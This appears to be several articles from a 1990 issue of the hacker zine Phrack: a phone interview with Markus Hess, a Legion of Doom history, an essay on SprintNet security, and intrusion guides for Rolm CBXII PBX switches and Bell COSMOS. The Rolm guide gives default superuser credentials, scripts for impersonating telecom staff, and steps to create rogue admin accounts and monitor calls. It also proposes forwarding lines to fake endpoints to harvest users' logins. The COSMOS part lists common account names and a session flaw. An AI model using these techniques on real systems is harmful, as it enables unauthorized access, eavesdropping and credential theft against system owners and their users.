HESS: I won't have anything to do with hackers anymore. I have talked in court earlier this year.
PHRACK: Did you know you were in a novel about a hacker in the US?
HESS: Novel? Yes, I know of a novel.
PHRACK: Have you read the book?
HESS: Yes I have read the book.
PHRACK: Is it all true? Is it all true? Do you think Cliff lied or tried to exaggerate in the book?
HESS: Yes, I think so.
HESS: Yes, He lied.
PHRACK: Have you ever talked to Stoll?
HESS: I have talked to him, but not privately. I don't want to talk about this.
PHRACK: Have you ever seen Cliff Stoll?
HESS: Yes I have seen him.
(We might think this from the back of the book)
PHRACK: He's goofy looking isn't he?
HESS: goofy? I don't understand.
PHRACK: Anyway, so you think he lied in the book?
HESS: Yes, he lied.
PHRACK: What did he lie about?
HESS: I don't want to talk about this.
PHRACK: Okay, are you in the Chaos Computer Club?
HESS: No, I won't have anything to do with hackers any more.
PHRACK: Were you ever involved with them?
HESS: No. I was not in it.
PHRACK: Do you know anyone in it [the CCC]?
HESS: Yes. I really must go now.
PHRACK: Who do you know in it [the CCC]?
HESS: Stephen Winero.
PHRACK: Is that it?

HESS: I know Walu.
PHRACK: Hmm. Are you being watched?
HESS: I think so. I can not talk about this.
PHRACK: Were you scared of going to jail?
HESS: jail?
PHRACK: Prison, were you scared of going to prison?
HESS: I don't know.
PHRACK: What happened in your words at court?
HESS: In your words? I don't understand.
PHRACK: What happened in court?
HESS: I don't understand.
PHRACK: Forget it.
PHRACK: Do you still have your computer?
HESS: No. I don't have any computer here.
PHRACK: Did you think they were going to catch you?
HESS: No. I knew nothing of it.
PHRACK: Has any other hackers tried to contact you in the U.S.?
HESS: No. You are the first to call.
PHRACK: So is it my understanding that Stoll lied in parts of the book?
HESS: Lied? Yes he lied.
PHRACK: Why do you think he would lie?
HESS: I don't know.
PHRACK: Do you think he made you look destructive?
HESS: Yes. He made me look mean.
PHRACK: Are you? Mean that is?
(Chuckle)
HESS: No. He made me look like I was a criminal.
PHRACK: Why did you do it Markus?
HESS: Do what?
PHRACK: Hack all over the network like that?
HESS: I cannot answer.
PHRACK: Do they call you a liar in court?
HESS: Yes. They call me a liar.
PHRACK: What are you going to do now?
HESS: I don't understand.
PHRACK: Are you finished with hacking?
HESS: Yes, I have nothing to do with hackers.
PHRACK: Was someone helping you hack?
HESS: I cannot answer.
PHRACK: How come you cannot answer that question?
HESS: I cannot.
PHRACK: Yes, well, Many in the U.S. [hackers] don't like the Novel.
PHRACK: What do you think of it?
HESS: It is not true.
HESS: I don't know.
PHRACK: Who taught you the EMACS hole?
HESS: I cannot say.
PHRACK: Then you must have been working with someone, correct?
HESS: No, I cannot answer.
PHRACK: Is the police comming down on you hard?
HESS: police? I don't und...
PHRACK: Yeah, yeah. The law? Are they being hard on you.
HESS: Yes.
<SILENCE>
HESS: I must go now.
PHRACK: Can we call you later?
HESS: Umm, I don't know. No.
PHRACK: Why not?
HESS: I cannot answer.
PHRACK: What about in a couple of months?
HESS: Yes, in a couple of months you can call.
PHRACK: Your not moving are you?
(Knowing that Germans rarely ever move and their phone
numbers never change this was a silly Q.)
HESS: No. I no move.
PHRACK: Okay, then we'll call you in a couple of months.
HESS: Okay. I must go.
PHRACK: Wait a second.
HESS: Yes?
PHRACK: Do you have anything to say to American Hackers?

HESS: No.
HESS: I have nothing to do with hackers.
PHRACK: Well, good luck.
HESS: Yes, you too.
<CLICK>

Unfortunately, our lack of German and Hess' weak English made communication difficult. He is a very paranoid person who was obviously uncomfortable talking to us.

Those of you that have read Stoll's book know that Hess was involved with hacks on American Military Computers, and indirectly involved with Computer Espionage and the KGB. Phrack strongly discourages trying to hack Military computers and particularly takes offense to computer espionage.

From the information we have gathered from him and by talking to him, we feel that Markus Hess wasn't as smart as Clifford Stoll portrayed him to be. We also feel that Markus was not working alone and that others were involved. This however we cannot be 100% sure because of our communication faults.

===Phrack Inc.===
Volume Three, Issue Thirty-one, Phile #3 of 10

```
 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
/ *                                                        * \
\                                                            /
/           Hacking Rolm's CBXII/9000                        \
\                by DH                    /
/                   05/24/90                                 \
\ *                                                        * /
 \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
```

Introduction

IBM Rolm's CBXII/9000 is a very powerful machine. Powerful in the aspect that one has the switch(s) at his control. Controling switches means you can control the entire PBX environment (And it's users).

This file will not get technical. Basically, I'm writing this file on the HOW-TO's of the internal works of CBXII and the basics of obtaining the dialups and account information need to access the machines. For further information on CBX's in general, read Epsilon's Phrack Phile on them, or consult Evil Jay's phile on OSL's.

Obtaining Dialups

Obtaining dialups unfortunately is the hardest part of hacking CBXII's. (Yes, even harder than hacking them). There are several ways to obtain the dialups. I would say a good bit of CBX's are at universities and hospitals where they own their own switches. Most of the time you can determine if they have one by calling the Telecommunications Department of the target location. Or, another way is to check with ROLM. If you *KNOW* that a target location has a CBXxx machine, you can call ROLM's 800 wats line and say your with the Telecommunications Department and your looking for the DIALUP. Rolm has files on all their CBXxx's and the Dialups also. They might ask you for a NODE # for the dialup, and you should usually respond with what node you want (Since different nodes handle different areas of the PBX). Basically, nodes start at ONE and usually goto THREE or FOUR, depending on the size of the PBX.

CBXxx's are greatly compatible of IBM Rolm's Phone-Mail system (Which is a highly used and common voice mail system). This of course doesn't mean that every PHM (Phone-Mail) system has a CBXxx attached. But it is generally a good start.

The following is a checklist to determine if the target location could have a CBXxx for controlling their switch. By no means however, if your target location has all of the following it could have a CBXxx.

1) Does the location handle it's own switch?
   If so, what kind, and who services it.
2) Does IBM Rolm handle any aspect of their telecommunications department?
   If so, this is a possible CBXxx location.
3) Does the location have Rolm Phone-Mail?

These three guidelines are not requirements. I.E. -- The location could have a non-IBM PBX but still have a CBXxx for handling the switch. So who knows.. It's up to you and your bullshitting and scans.

Hacking the CBXxx's

Well, once you have obtained the dial-ups, you are almost halfway there. Hacking the CBX is the easy part. 1st off, IBM Rolm ships *ALL* of their machines with a default account (Yes, and they never change it). When the destination of the CBX recieves the machine, they use the default to create other accounts for employees, PBX operators, and administration. Rolm IBM also has a field support account embedded in the machine. These are different to each location and correspond to the serial number of the machine (Rolm's accounts can be obtained from Rolm's 800 technical support line). So, now that we know that there is a default account that telecom department uses to setup the other accounts after they recieve the machine, tells us that this is a priviledge account. And it is.

```
USERNAME: SU
PASSWORD: SUPER
```

How nice for them to give us such power. Yes, it's a basic default with SuperUser priviledge. If for some reason the account default has been changed, their are other ways of getting in:

1) Call Rolm and get the Field account information.
2) Try first names of Telecom Dept. employees, and PBX Operators.
3) Use every Hacking skills you have (If any).

Some older versions of CBX don't even require logging in with an account. Those versions are less responsive to the administrators needs, but can be useful to one also. Don't be discouraged if the SU password is changed, just call Rolm and get the field account.

The following is the matrix before one access the machine. *Note that it clearly identifies* *Also: Accessible at 300 baud and e,7,1*

```
CONNECT                                ID banner
                _Release version #  /
               /                   /\
Rolm CBXII  RELEASE 9004.0.65 RB74UCLA11956
BIND DATE: 8/SEP/88                  \
YOU HAVE ENTERED NODE 1, CPU 2        \_Name of owner, IE: UCLA
11:14:30 ON FRIDAY 2/11/1990             (System ID)
USERNAME: xxx
PASSWORD: xxx
INVALID USERNAME-PASSWORD PAIR.
```

Once your in
---- ---- --

Once your in, you should have no problems wondering around the machine and using the utilities in the machine's operating system. There is very specific help functions inside the machine that will guide you through with no problems. At the CBX prompt:

```
%. HELP ?
or
%. ?
```

Should produce a valid listing of options and sub-functions. Every function can be followed with a '?' to give lists of valid sub-functions under that function or how the syntax of that function should be used.

The following is a listing of commands for CBXII/9000:

ABORT	ACTIVATE	ATTR	BYE
CANCEL	CARD	CDRSM	CDT
CHANGE	CHG	CLEAR	CLR
CMPCT	CMSTS	CNCL	CNFG
CONVERT	COPY	CPEG	CTMON
CTRA	CTRTL	CXCLR	COPY
CXCLR	CXCON	CXNET	DACK
DADD	DAEVT	DANS	DBDMP
DCAT	DCF	DCOM	DDMA
DDQ	DDT	DE	DEACTIVATE
DEFINE	DELETE	DEMOUNT	DESUM
DEX	DFACK	DFCOM	DFEAT
DFEVT	DHTQ	DHWS	DIAG
DIQ	DISABLE	DIWQ	DKQ
DML	DMNT	DMS	DMTST
DOWN	DPATR	DPMR	DPMS
DPPRI	DPTR	DQQ	DRCT
DREGS	DSBLE	DSQ	DSST
DSTAK	DTCB	DTDQ	DWQ
DX_TR	ENABLE	ENB	ENBLE
ETIO	EX	EXM	EXN
EXP	EXPAND	FINIT	FORMAT
FREER	FSD	GTOD	HDBST
HELP	INSTALL	KPFA	LCT
LIST	LOAD	LOGOFF	LOGON
LPEG	LPKT	LSCT	LSL
LST	LTCB	MNT	MONITOR
MOUNT	MTRACE	NEXT	NSTAT
PAGE	PCNFG	PDIO	PFA
PKTS	PLIST	PLTT	PPFA
PS	PSH	QAT	QITM
QTEST	RCT	RECEIVE	RENAME
REPLY	RESTART	RESTORE	REVERSE
RM	RMOFF	RPFA	RSC
RSCLK	RSTOR	RSTRT	SAT
SCAN	SEND	SET	SHOW
SITM	SOCON	SOUNC	SSAT

```
START               STATE               STATUS              STEST
STOD                STOP                STRT                STS
TDCD                TEST                TKSTS               TRTL
TST                 TX                  UNLK                UNLOCK
UP                  VERIFY              XDEF                XMIT
XPND
```

These commands can be executed from and '% ' prompt. If the command is followed by a '?', more information will be supplied about the command.

Using the ICI

The Interactive Configuration Interface controls immediate changes in the switch and PBX environment. The Utility is explained in great detail through the actual running of it. You can access the ICI by typing:

```
% CNFG
                      CBXII/9000
        INTERACTIVE  CONFIGURATION INTERFACE
                        CPU 2
15:14:32 ON FRIDAY 5/02/1990
COMMAND:
```

This is the main command prompt. From here you can exercise the '?' help list to get valid commands. There are four phases of the ICI utility: Modify, Create, List, and Delete. These can be used on Extentions, Trunks, Logon accounts, Feature Group sequences, Data_line access, Trunk Groups, ect. The following is a sample of using 'list' to list a current extention in the PBX:

```
                                _Forward to EXTN 2000
COMMAND: LIST EXT 4038         /                          _Outside number
                              /             FORWARD ON     /  to forward to
                           FORWARDING     BSY RNA DND    /
   EXTN     TYPE   COS    TARGET1 TARGET2  I E I E I E RINGDOWN  NAME
   ----     ----   ---    ------- -------  - - - - - - --------  ----------
DS 4038     EXTN   56     2000             1 1 1 1 1 1 95551212  R.STABELL
    \          \    \                     /   /    \               \
    Extention  /     -Class of service   if  R    Auto. Forward   Owner of
            --Type of line              BUSY  I   No Matter What   EXTN.
              (Reg. Extention)                N
                                               G
```

Note: The 1's specifies to forward to target#1 & NO ANSWER
(As 2's would mean forward to #2 target)

This should detail how to modify a listing like above using the 'MODIFY' command in the ICI. Once modified, all transactions are processed immediately. Using the 'Delete' command one can delete extentions, trunks, ect.

So now we have the following commands in ICI: MODIFY, DELETE, LIST, CREATE. Each can be used with the following "Nouns" to modify that "Noun":

```
BUTTON_120          BUTTON_240          CDR_EXCLUDE         CNFG_ERRORS
CNFG_QUEUE          CNFG_STATUS         CNFG_USERS          COM_GROUP
COS_FEAT            DATA_ACCESS         DATA_DEVICE         DATA_GROUP
DATA_LINE           DATA_SUBMUX         DLI                 ETS
EXTEN               FAC                 FAC_TYPE            FAMILY
FEAT_CODE           FIRST_DIGIT         HD_GROUP            LEX
LOGON_PROFILE       MAP                 MEM_PARTS           PARAM
PICK                POWER               Q_TYPE              ROUTE_LIST
RP                  RPD                 RPI                 RPS_120S_ON
RPS_240S_ON         SAT_NAME            SEARCH_SEQ          SECTION
SECURITY_GROUP      SERVICE_LIST        SIO_PARTS           SLI
SPEED               T1D3                T1D3_GRP            TRUNK
TRUNK_GROUP         VPC
```

The FAMILY, LOGON_PROFILE, and CNFG_USER all deal with the accounts on the system. One can use MODFIY or CREATE to set them up an account with SU access. The FAMILY noun is the listing of the groups with different access, to different "nouns" available. I.E.: Not everyone can access the CHANGE LOGON_PROFILE to create an account.

To create an account with SU access, type (while in ICI):

```
% CREATE LOGON_PROFILE
ENTER NAME (1-12 CHAR): TEST
ENTER PASSWORD: TEST
RETYPE: TEST
```

Next it will ask you for a family. For SU access, type "SYSTEM_ADMIN". After family, the machine should prompt you for a "verb". Verbs are the actual functions or commands, so in this environment you can set the commands a user

can access. So, for SU, enter "ALL" for every command access.

To get a valid listing of users online, try this:

```
% LIST CNFG_USERS
NUMBER OF USERS    MAX NUMBER OF USERS
     3                  5
PORT    USER_NAME    START_TIME  HOW_LONG
17      SU           17:47:57    0:28:34
2       FIELD        18:16:03    0:0:28
3       MARYB        18:16:03    0:10:03
```

Using the Monitoring Utility

This command is one of the more powerful commands in the CBXxx system. The monitor command should be invoked from within the main function command level and not in the ICI level. The monitoring command allows you to actually watch or monitor TRUNKS and EXTENTIONS. So, if I were to type:

```
% MONITOR EXT 4038
10:02:43 ON FRIDAY MAY/02/1990
EXT#   STATE            DI  CODE  DIGITS         PROCESS      STATUS
----   ---------------  --  ----  -------------  ------------ ------
4038   IDLE                                      STN FWD NUM   FWD
 \         \                                     /    /    /    \
Extention   Not in use                  Standard     \   /        Forwarded
                                        Extention     \ /
                                                  Forwarded to
                                                   a number
```

This shows the extention to be IDLE and not in use. But, with forwarded call processes to a standard number. You would have to use ICI to look up the number it's forwarded to if you wanted.

```
% MONITOR EXT 4038
10:03:44 ON FRIDAY MAY/11/1990
EXT#    STATE           DI  CODE  DIGITS         PROCESS     STATUS
----    --------------  --  ----  -------------  ----------- ------
4038    DIAL TONE                                STN FWD NUM  FWD
4038    DIALING         Y         9             /    \   \     \
4038    DIALING         Y         92           S     F    N     \Extention
4038    DIALING         Y         923           t     o    u       Forwarded
4038    DIALING         Y         9233           a N   r    m
4038    DIALING         Y         92334           n u   w    b
4038    DIALING         Y         923345           d m   a    e
4038    DIALING         Y         9233456           a b   r    r
4038    DIALING         Y         92334564           r e   d
4038    CONN T025N      N              \              d r   e
 /             \        /               \                   d
 \              \       \_Dialing NO     \_Number dialed
  \_Extention    \
                Connected to
               Outside trunk T025N
```

This monitoring shows the extention actually dialing the number, and then connecting to an outside truck. Unfortunatley, one we cannot monitor without access to a bell switch.

Monitoring can also be done with trunks. I will not display any trunk monitoring since it is quite simple to decypher.

Manipulating the switch

There are many ways you can manipulate the CBX's to gain accounting information on data lines within the PBX environment. One sure-fire method would be to forward an actual data dial-up extention to a bridge or loop and then write an emulation to intercept the user's account information real-time as they connect to your fake dial-up.

Or perhaps if an university uses the CBX, one could maybe forward the computer help desk extention to a bridge or loop and as an unsuspecting user calls up, ask him what machine and account info he has access to for a help log sheet you are taking.

Who cares. Who knows. There are thousands of things you can do to use the CBX to your advantage. Hell, you have the whole switch at your command.

DH - 05/11/90

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #4 of 10

/ Everything you always wanted to know.. \
/ about Telenet Security, But were to stupid to find out. \

By Phreak_Accident

Ever since the early 80's GTE Telenet has been expanding their public packet switching system to hold enormous amounts of users. Currently GTE SprintNet (Yes, Telenet is out, SprintNet is in.) has over 300 nodes in the United States and over 70 other nodes abroad. SprintNet provides private X.25 networks for larger companies that may have the need. These private networks are all based on SprintNet's 3270 Dedicated Access Facility which is currently operating for public use, Hence for the major security Sprint-Net has aquired.

SprintNet's security department is a common idea of what any large public packet network should be. With their home office located in Virgina (703), most Hacker's who run into trouble with them would wind up talking to Steve Mathews (Not the head of security but a prime force against the major attacks Sprintnet recieves from Hackers anually.), who is a very intelligable security analysist that deals with this type of problem daily.

Because of Steve's awarness on Hackers invading "His" system (As most security personnel refer to the system's they work for as their own.), He often does log into Bulletin Boards accross the country looking for Sprint-Net related contraband. At the time of this article, Steve is running an investigation on "Dr. Dissector's" NUAA program. (NUA attacker is a Sprint-Net NUA scanner.) Besides this investigation, he currently stays in contact with many Hackers in the United States and Abroad. It seems Steve recieves many calls a month from selected Hackers that have interests in the Security of SprintNet. Wow. Who the Hell would want to call this guy. From many observations of Steve Mathews, I find him to in deed be the type to feel a bit scared of Hackers. Of course, his fright is really quite common amoung security personnel since most fear for their systems as well as themselves. (Past experiences have showed them not to take Hackers lightly, Hence they have more contacts then 60 rolodex's put together.)

For now, let's forget Steve Mathews. He's not important an important influence in this article. Trying to pin a one-person in a security depart-ment that handles security is like finding a someone on a pirate board that doesn't use the word "C0DE" in their daily vocabulary.

Telenet's main form of security lies in their security software called TAMS (Telenet Access Manager System). The TAMS computers are located in Res-tin, Virginia but are accessable throughout the network. Mostly, the main functions of TAMS are to:

* Check to see if the NUI/Password entered is a valid one.
* Check to see if the Host has list of NUI's that can access that host. If another NUI is used, a Rejection occurs.
* Processes SprintNet's CDR (Call Detail Recording), which includes Source and Destination, Time of call, Volumes of data recieved, and the Total time of the call.
* Can be used by host to add an optional "ALPHA" NUA for "easy" access.
* Can secure Hosts further by adding an NUA security password.
* Restricts calls without an NUI for billing (I.E. No collect calls to be processed).
* Accepts all calls to host as a prepaid call (I.E. Accepts all calls).

TAMS is really for the handling of NUI and corresponding NUA's, therefore being a security concept. TAMS holds all the data of NUI's and restricting NUAS for the ENTIRE network. If one could gain the access to TAMS, one could have the entire network at his/her disposal. This of course if highly impossible to SprintNet's security department, but not for a couple of hackers I have ran into. Yes, TAMS is quite interesting.

In other aspects of SprintNet security, lets focus on the actual X.25 software that they use. Anybody who tells you that Telenet can monitor the sessions currently taking place on THEIR network is WRONG (And probably very stupid as well). Monitoring is a basic feature of all X.25 networks, whether it's a little PeeShooter network or not, they can and do monitor sessions.

Of course their are far to many calls being placed on SprintNet to be monitored, but a scared host can always request a full CDR to be put on their address to record all sessions comming in on that NUA. Such as the many re-corded sessions of the ALTOS chat(s) in Germany that was a hot-spot for many Hackers across the United States and Abroad. After the detection of ALTOS,

through the hundereds of illegally used NUIs, CDR's and direct host monitoring were used on the ALTOS hosts. As far as prosecutions concern, I doubt their were any.

Now, as far as other security software on SprintNet, they have a call tracking service that is called AUTOTRAIL. Basically, AUTOTRAIL traces the connections through the DNIC's and back to the orginating NUI and/or NODE location that placed the call.

AUTOTRAIL has nothing to do with ANI. Not at all. In fact, the many dialups that lead into SprintNet's PDM gateway do NOT have any type of ANI. That is basically a telephony problem. ALthough I would think twice about messing with a dialup that is run on a GTE carrier. That's up to you though.

Another aspect of security in which Telenet offers is an ASCII tape that can be obtained by a host customer, which contains all CDR information of any connection to that host for the last week/month/year. So, it is obvious to say that SprintNet does have a hudge database of all CDRs. Yes, another point: This database is located in the TAMS computer. Hmm, ahh.. Wouldn't that be neat.

:PA

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #5 of 10

The History of The Legion Of Doom

During the summer of 1984 an idea was formulated that would ultimately change the face of the computer underground forever. This particular summer, a huge surge of interest in computer telecommunications placed an incredibly large number of new enthusiasts on the national computer scene. This crowd of people all seeking to learn as much as possible began to put a strain on the nation's bulletin board scene, as the novices stormed the phonelines in search of knowledge. From out of this chaos came a need for learned instructors to help pass on their store of information to the new throngs.

One of the most popular bulletin boards of the day was a system in New York state called Plovernet, which was run by a person who called himself Quasi-Moto. This BBS was so heavily trafficked, that a major long distance company began blocking all calls to its number (516-935-2481). The co-sysop of Plovernet was a person known as Lex Luthor. At the time there were a few hacking groups in existence, such as Fargo-4A and Knights of Shadow. Lex was admitted into KOS in early 1984, but after making a few suggestions about new members, and having them rejected, Lex decided to put up an invitation only BBS and to start forming a new group.

Starting around May of 1984, Lex began to contact those people who he had seen on BBSes such as Plovernet and the people that he knew personally who possessed the kind of superior knowledge that the group he envisioned should have. Many phone calls and Alliance Teleconferences later, the group of individuals who made up the original Legion of Doom were compiled. They were:

Lex Luthor
Karl Marx
Mark Tabas
Agrajag the Prolonged
King Blotto
Blue Archer
EBA
The Dragyn
Unknown Soldier

The group originally consisted of two parts: Legion of Doom, and Legion of Hackers. The latter was a sub-group of the first, comprised of people who were more advanced in computer related subjects. Later on, as members began to all become more computer-based, the Legion of Hackers was absolved. (The name "Legion of Doom" came from the cartoon series "Superfriends," in which Lex Luthor, Superman's arch rival, led a group by the same name)

The actual Legion of Doom bulletin board was quite ahead of its time. It was one of the first "Invitation-only" hacking based BBSes; it was the first BBS with security that caused the system to remain idle until a primary password was entered; and it was the first hacking BBS to deal with many subjects in close detail, such as trashing and social engineering. The BBS underwent three number changes and three different login procedures during its life. At its height, the BBS had over 150 users and averaged about 15 posts per day. This may seem high when compared to contemporary BBSes, but this was a private system, with only very-competent users, so the quality of messages content was always high.

There was always some confusion that falsely assumed since someone was on the LOD BBS, that they were a member of the group. In fact, only a handful of the total LOD membership were ever on the actual LOD BBS.

The Legion of Doom also had special subboards created for its members on other BBSes after the home base BBS went offline. The first was on Blottoland, the next on Catch-22, followed by one on the Phoenix Project, and the last on Black Ice Private. The group's members have usually tried to keep a low profile publicly, and usually limited their trade of information to select private BBSes and personal telephone conversations. This adherence to privacy has always added to the LOD mistique. Since most people didn't know exactly what the group was involved in, or experimenting with, people always assumed that it was something far too detailed or sensitive to be discussed. For the most part, this was not true, but it did not help to

diminish the paranoia of security personnel that LOD was after their company's systems.

The group has undergone three distinct phases, each a result of membership changes. The first phase ended with the busts of Marx, Tabas, Steve Dahl, Randy Smith, X-man, and the abandonment by Agrajag and King Blotto. The group lay semi-dormant for several months, until a resurgence in the summer of 1986, in which several new members were admitted, and a new surge of would-be hackers appeared, ready to be tutored. This phase again ended in a series of busts and paranoia. The third phase basically revolved around Summercon of 1988, where several new members were admitted by those LOD members attending the festivites. The third phase is now at an end brought on by busts and related paranoia, again, two years after its onset. There is no indication that points to any resurgence in the future, but nothing is certain until summer.

Since its creation, LOD has tried to put out informative files on a wide variety of topics of interest to its contemporaries. These files ranged from the first actual scanned directory of Telenet, to files on various operating systems. The LOD Technical Journal was to be a semi-regular electronic magazine comprised of such files, and other items of interest to the hacking community. Only three issues of the Technical Journal were produced. As the fourth issue was being pieced together, several members were raided, and work on it was abandoned.

>From the time it was formed continuing up to the present, the Legion of Doom has been quite a topic of controversy in the computer underground and with computer security professionals. The Legion of Doom has been called everything from "Organized Crime" to "a Communist threat to national security" to "an international conspiracy of computer terrorists bent on destroying the nation's 911 service." Nothing comes closer to the actual truth than "bored adolescents with too much spare time."

LOD members may have entered into systems numbering in the tens of thousands, they may have peeped into credit histories, they may have monitored telephone calls, they may have snooped into files and buffered interesting text, they may still have total control over entire computer networks; but, what damage have they done? None, with the exception of unpaid use of CPU time and network access charges. What personal gains have any members made? None, with the exception of three instances of credit fraud that were instigated by three separate greedy individuals, without group knowledge.

The Legion of Doom will long be remembered in the computer underground as an innovative and pioneering force, that consistently raised the collective level of knowledge, and provided many answers to questions ranging from the workings of the telephone system to the structure of computer operating systems. No other group dedicated to the persuit of computer and telecommunications knowledge has survived longer, and none probably will.

The Legion of Doom 1984--1990

Alumni of the Fraternal Order of the Legion of Doom (Lambda Omega Delta)

Handle	Entered	Exited	Location	Reasons for leaving
Lex Luthor	Early 84--		Florida	
Karl Marx	Early 84--	Late 85	Colorado	Bust w/Tabas..College
Mark Tabas	Early 84--	Late 85	Colorado	Too numerous to list
Agrajag the Prolonged	Early-84--	Late 85	California	Loss of Interest
King Blotto	Early 84--	Late 85	Ohio	College
Blue Archer	Early 84--	Late 87	Texas	College
EBA	Early 84--		Texas	
The Dragyn	Early 84--	Late 86	Minnesota	Loss of Interest
Unknown Soldier	Early 84--	Early 85	Florida	Bust-Toll Fraud
Sharp Razor	Late 84--	Early 86	New Jersey	Bust-Compuserve Abuse
Sir Francis Drake	Late 84--	Early 86	California	Loss of Interest
Paul Muad'dib	Late 84--	Early 86	New York	Modem Broke
Phucked Agent 04	Late 84--	Late 87	California	College
X-Man	Late 84--	Mid 85	New York	Bust-Blue Boxing
Randy Smith	Late 84--	Mid 85	Missouri	Bust-Credit Fraud
Steve Dahl	Early 85--	Early 86	Illinois	Bust-Credit Fraud
The Warlock	Early 85--	Early 86	Florida	Loss of Interest
Terminal Man	Early 85--	Late 85	Massachusetts	Expelled from Group
Dr. Who	Early 85--	Late 89	Massachusetts	Several Reasons
The Videosmith	Early 86--	Late 87	Pennsylvania	Paranoia

Kerrang Kahn	Early	86--Mid	89	London, UK	Loss of Interest
Gary Seven	Early	86--Mid	88	Florida	Loss of Interest
The Marauder	Early	86--Mid	89	Connecticut	Loss of Interest
Silver Spy	Late	86--Late	87	Massachusettts	College
Bill from RNOC	Early	87--Late	87	New York	Bust-Hacking
The Leftist	Mid	87--Late	89	Georgia	Bust-Hacking
Phantom Phreaker	Mid	87--		Illinois	
Doom Prophet	Mid	87--		Illinois	
Jester Sluggo	Mid	87--		North Dakota	
Carrier Culprit	Mid	87--Mid	88	Pennsylvania	Loss of Interest
Master of Impact	Mid	87--Mid	88	California	Loss of Interest
Thomas Covenant	Early	88--Early	90	New York	Bust-Hacking
The Mentor	Mid	88--Early	90	Texas	Retired
Necron 99	Mid	88--Late	89	Georgia	Bust-Hacking
Control C	Mid	88--Early	90	Michigan	
Prime Suspect	Mid	88--		New York	
The Prophet	Mid	88--Late	89	Georgia	Bust-Hacking
Phiber Optik	Early	89--Early	90	New York	Bust-Hacking

** AKA **

Randy Smith	Poof!
Dr. Who	Skinny Puppy
Kerrang Kahn	Red Eye
Phantom Phreaker	ANI Failure / Psychedelic Ranger
Doom Prophet	Trouble Verify
Thomas Covenant	Sigmund Fraud / Pumpkin Pete
Necron 99	The Urvile
Control C	Phase Jitter

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #6 of 10

```
                    L    OO  DD
                    L   O  O D D
                    LLL  OO  DD
                      PRESENTS
************************************************************
************************************************************
***                                                      ***
***                    TTT H H EEE                       ***
***                     T  H H E                         ***
***                     T  HHH EEE                       ***
***                     T  H H E                         ***
***                     T  H H EEE                       ***
***                                                      ***
***                                                      ***
***      DD   EEE FFF III N  N III TTT III V V EEE       ***
***      D D  E   F    I  NN N  I   T   I  V V E         ***
***      D  D EEE FFF  I  N NN  I   T   I  V V EEE       ***
***      D D  E   F    I  N NN  I   T   I  V V E         ***
***      DD   EEE F   III N  N III  T  III  V  EEE       ***
***                                                      ***
***                                                      ***
***          CCCC  OOO    SS  M   M  OOO    SS          ***
***         C     O   O  S  S MM MM O   O  S  S          ***
***         C     O   O   S   M M M O   O   S            ***
***         C     O   O S  S  M M M O   O S  S           ***
***          CCCC  OOO   SS   M   M  OOO   SS            ***
***                                                      ***
***                                                      ***
************************************************************
************************************************************
```

BY
ERIK BLOODAXE

PRELUDE

In the past, many files have been written about COSMOS. I have always been rather disappointed in their quality and in their presentation, so I have taken on the responsibility of doing one myself. This should sum up COSMOS for everyone who reads it. It contains formats for very useful commands, an entire transaction list, COSMOS "tricks", and a list of all COSMOS abbreviations and their formats.

==========

INTRODUCTION

Bell Labs COmputer System for Mainframe OperationS (COSMOS) is basically just a database for maintaining records of equipment and other line information and generating reports on that information. The system is usually set up on a DEC PDP 11/45 or 11/70.

The main responsibilities of the COSMOS system are:

- Maintaining records
- Issuing reports
- Processing service and work orders
- Assigning telephone numbers
- Load balancing for switching computers
- Output of ESS recent change information

LOGGING ON

When connecting to COSMOS the system will respond with:

;Login: or LOGIN:

at which point you enter a username. The system will then prompt:

PASSWORD:

at which point you enter the password for that username. Finally, the system will prompt:

WC?

which asks you to enter the wire center for the exchange you will be using in your work. After successfully completing the login sequence you will be given the system prompt which will be the two letter id of the wire center you entered and a

percent sign: "WC% "
To log off at this or at any point you can type control-y.
One of the major flaws in COSMOS security is that unless a
control-y is received the terminal is not logged out, even if
the user disconnects. Many times when you connect to COSMOS,
you will be dropped right into the "WC% " prompt. This even
happens on major BOC packet networks quite often. If you are
lucky enough to receive a 'WC#' prompt you have access to the
COSNIX shell, and can issue various unix-like commands, like
ls, cd, cat, et cetera.
COSMOS usernames are usually issued as two letters corresponding to
whatever center will be using that account, and two numbers.
EX: LA01
Using the above example "LA01" there will most probably be numerous
"LA" accounts, possibly "LA01" through "LA15" or higher. This is true
for most COSMOS usernames. More often than not, all accounts used by the
same center will have the same password as well. Some common usernames
and their owners are:

ROOT	System Manager
SYS	System Manager
ML	Loop Assignment
LA	Loop Assignment
DN	Main Distributing Frame
IN	Repair Service
RS	Repair Service
CE	LNAC
LK	Account to execute INQuiries only
JA	Mizar
WLI	Work Load Indicator

Usernames may vary from BOC to BOC, but these are fairly standard.
==========
COSMOS TRANSACTION COMMANDS
COSMOS commands are three letter acronyms. I will explain in
depth the commands I have found most useful, and then list
the remainder. Remember, do not attempt to learn the formats for COSMOS
transactions online. You will probably not figure out correct inputs, and
will most likely cause problems for the system manager and yourself.
Commands are entered in a specific ways. The command desired is
entered at the WC% prompt. A second string of data is entered at
the next line which designates the type of transaction desired.
This line is prefixed with on of the following four letters:
H - Header Line
I - In Line
O - Out Line
R - Remark Line
The most commonly used line is the H line. It is a required input in
almost all COSMOS transactions. From the second line on, COSMOS will
prompt with an underscore "_" as the system prompt, to let the user
know that it is waiting for input. When all needed data has been entered,
the command is executed by typing a "." at the beginning of a new line.
If you wish to process a command, but stay in command level in order to
process further commands after the one you are currently entering has
finished, a ";" can be entered at the beginning of a new line.
To cancel the transaction you are entering, a "Q" should be entered at
the beginning of a new line. To interrupt output, the break character
is "^C". When entering criteria, you may enter all like data (all H-line, all
I-line, etc...) on one line using a "/" between input prefixes:
EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
is the same as entering:
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
One of the most commonly used commands is INQ (Complete
Circuit Inquiry). There is also a short form of INQ called
ISH. This command requires only the use of H lines. Multiple H lines
can be entered to narrow a search or to print multiple reports.
Valid H line facilities used are:

BL	Bridge Lifter
CON	Concentrator
CP	Cable Pair

```
              CKID     Circuit ID
              MR       Message Register
              OE       Office Equipment Number
              PL       Private Line Circuit Number
              TK       Trunk Cable and Pair Number
              TN       Telephone Number
              TP       Tie Pair
              XN       "X" Number
              TRE      Transmission Equipment
